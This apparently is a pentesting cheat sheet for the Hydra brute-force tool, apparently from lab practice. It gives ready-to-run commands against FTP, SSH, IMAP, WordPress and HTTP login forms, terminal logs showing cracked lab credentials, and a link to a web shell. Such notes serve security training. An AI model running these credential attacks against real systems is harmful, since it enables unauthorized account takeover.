# HYDRA

* -e nsr try "n" null password, "s" login as pass and/or "r" reversed login
* -I : ignore hydra.restore file
* -V : very verbose output&#x20;
* -f : stop when a logon is found&#x20;
* -L : username list&#x20;
* -u : rotate around usernames, not passwords
* -P : passwords list

example

```
hydra -I -V -f -L usernames.txt -u -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.179.46 ftp
```

## HTTP Modules

* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-h</mark> <mark style="color:blue;">|</mark> <mark style="color:green;">grep</mark> "Supported services" <mark style="color:blue;">|</mark> <mark style="color:green;">tr</mark> ":" "\n" <mark style="color:blue;">|</mark> <mark style="color:green;">tr</mark> " " "\n" <mark style="color:blue;">|</mark> <mark style="color:green;">column</mark> <mark style="color:purple;">-e</mark>

1. <mark style="color:purple;">http\[s]-{head|get|post}</mark>
2. <mark style="color:purple;">http\[s]-post-form</mark>

* <mark style="color:green;">hydra</mark> <mark style="color:purple;">http-post-form -U</mark>\\

* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-L</mark> *\<usernames list>* <mark style="color:purple;">-P</mark> *\<passwords list>* <mark style="color:purple;">-f -u</mark> *\<target ip>* <mark style="color:purple;">-s</mark> *\<port>* <mark style="color:purple;">http-get</mark> /

* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-l</mark> *\<username>* <mark style="color:purple;">-P</mark> *\<password list>* <mark style="color:purple;">-f</mark> *\<target ip>* <mark style="color:purple;">-s</mark> *\<target port>* <mark style="color:purple;">http-post-form</mark> "/*\<login page>*:*\<user parameter>*=^USER^&*\<password parameter>*=^PASS^:\[F/S]=*\<failed/success string>*"\\

code

```
hydra -l admin -P rockyou-50.txt http://10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^::Incorrect username"
```

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FNmtuYaSsKBUMQgpCx2xs%2Fimage.png?alt=media&#x26;token=b905154a-2a7b-40f8-8d80-cfbdd554db49" alt=""><figcaption><p>parameters</p></figcaption></figure>

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FjZwAnhFtp3LAKZcO9gBg%2Fimage.png?alt=media&#x26;token=2ff68b0c-c5f3-4e22-90b6-3f83899672f8" alt=""><figcaption><p>error message</p></figcaption></figure>

example

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FgEr0IC0a4ZrLax0uNdyD%2Fimage.png?alt=media&#x26;token=d27591e7-6c00-48e7-a2fb-ac4772e3cba5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FzUiM5z8HzgA7Szgaeb8g%2Fimage.png?alt=media&#x26;token=d4ffb431-1c43-4e9c-9fbb-d31083fa5827" alt=""><figcaption><p>blacklisted</p></figcaption></figure>

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FHMlzyiA3viXfwaCrqAH9%2Fimage.png?alt=media&#x26;token=667f7d93-9b8e-4073-b1ed-ca52e3acba0b" alt=""><figcaption><p>fail count</p></figcaption></figure>

## Service Authentication Brute Forcing

### SSH Attack

code

```
hydra -L <usernames list> -P <password list> -u -f ssh://<target ip> -t 4
```

code

```
hydra -t 1 -L users.txt -P passwords.txt -vV <target ip > ssh
```

* *\<service>*://*\<target ip>*:*\<port>*
* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-L</mark> *\<usernames list>* <mark style="color:purple;">-P</mark> *\<password list>* <mark style="color:purple;">-u -f</mark> ssh://*\<target ip>* <mark style="color:purple;">-t 4</mark>

Examples

* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-l</mark> user <mark style="color:purple;">-P</mark> passlist.txt ftp\://192.168.0.1&#x20;
* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-L</mark> userlist.txt <mark style="color:purple;">-p</mark> defaultpw imap\://192.168.0.1/PLAIN&#x20;
* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-C</mark> defaults.txt <mark style="color:purple;">-6</mark> pop3s\://\[2001:db8::1]:143/TLS:DIGEST-MD5&#x20;
* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-l</mark> admin <mark style="color:purple;">-p</mark> password ftp\://\[192.168.0.0/24]/&#x20;
* <mark style="color:green;">hydra</mark> <mark style="color:purple;">-L</mark> logins.txt <mark style="color:purple;">-P</mark> pws.txt -M targets.txt ssh

Hydra Flags:

* <mark style="color:purple;">-l</mark>:  Login with LOGIN name
* <mark style="color:purple;">-L</mark>: Load several logins from FILE
* <mark style="color:purple;">-p</mark>: Try password PASS
* <mark style="color:purple;">-P</mark>: Load several passwords from FILE
* <mark style="color:purple;">-C</mark>: FILE colon separated "login:pass" format, instead of -L/-P options
* <mark style="color:purple;">-u</mark>: loop around users, not passwords (effective! implied with -x)
* <mark style="color:purple;">-s</mark>: PORT if the service is on a different default port, define it here
* <mark style="color:purple;">-f</mark>: exit when a login/pass pair is found
* <mark style="color:purple;">-t</mark>: TASKS run TASKS number of connects in parallel per target (default: 16)
* <mark style="color:purple;">-4</mark> / <mark style="color:purple;">-6:</mark> Use IPv4 (default) / IPv6 addresses (put always in \[] also in -M)

### FTP Attack

Reference:

* [b374k shell](https://github.com/b374k/b374k)&#x20;

code&#x20;

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt -e nsr -f ftp://192.168.68.46
```

example

```
ali@kali:~$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -e nsr -f ftp://192.168.68.46
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-27 17:43:40
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344402 login tries (l:1/p:14344402), ~896526 tries per task
[DATA] attacking ftp://192.168.68.46:21/
[21][ftp] host: 192.168.68.46   login: admin   password: admin
[STATUS] attack finished for 192.168.68.46 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-27 17:43:44
kali@kali:~$
```

## HTTP ATTACK

code

```
hydra -l jim -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt 192.168.135.52 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.135.52%2Fwp-admin%2F&testcookie=1:The password you entered for the username" -vV -f
```

example

```
┌──(eo㉿offsec)-[~]
└─$ hydra -l jim -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt 192.168.135.52 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.135.52%2Fwp-admin%2F&testcookie=1:The password you entered for the username" -vV -f
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-09 07:36:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task
[DATA] attacking http-post-form://192.168.135.52:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.135.52%2Fwp-admin%2F&testcookie=1:The password you entered for the username
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done

[ATTEMPT] target 192.168.135.52 - login "jim" - pass "4321" - 751 of 10000 [child 2] (0/0)
[80][http-post-form] host: 192.168.135.52   login: jim   password: kimberly
[STATUS] attack finished for 192.168.135.52 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-09 07:37:52
```

example

```
hydra -l admin -P /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt 192.168.185.46 ftp -f -V
```

### Basic Auth

code

```
hydra -l offsec -P /usr/share/wordlists/rockyou.txt -s 242 -f 192.168.185.46 http-get /index.php
```

example

```
┌──(19:31:43 eo㉿offsec)-[~]
└─$ hydra -l offsec -P /usr/share/wordlists/rockyou.txt -s 242 -f 192.168.185.46 http-get /index.php
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-07 19:31:58
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get://192.168.185.46:242/index.php
[STATUS] 1481.00 tries/min, 1481 tries in 00:01h, 14342918 to do in 161:25h, 16 active
[STATUS] 1629.67 tries/min, 4889 tries in 00:03h, 14339510 to do in 146:40h, 16 active
[STATUS] 1674.14 tries/min, 11719 tries in 00:07h, 14332680 to do in 142:42h, 16 active
[242][http-get] host: 192.168.185.46   login: offsec   password: elite
[STATUS] attack finished for 192.168.185.46 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-07 19:46:53

```

### IppSec's Example

reference

* <https://youtu.be/qKcUKlwoGw8?t=2436>

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2F6oJVtBft9ETqHhM6X9fA%2Fimage.png?alt=media&#x26;token=81a555db-fbb4-488d-aca4-ee530b98f164" alt=""><figcaption><p>user:pass</p></figcaption></figure>

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FdjpdNMEr1vE1eLQ1p5oz%2Fimage.png?alt=media&#x26;token=cfe39485-cf8f-4366-8bdb-49cee252aaed" alt=""><figcaption></figcaption></figure>

code&#x20;

```
hydra -C userpass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"
```

example

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FJkN37l0YwlY7YrsviXbE%2Fimage.png?alt=media&#x26;token=04545d6f-54a7-49ef-8bf0-8e4aca66615a" alt=""><figcaption></figcaption></figure>
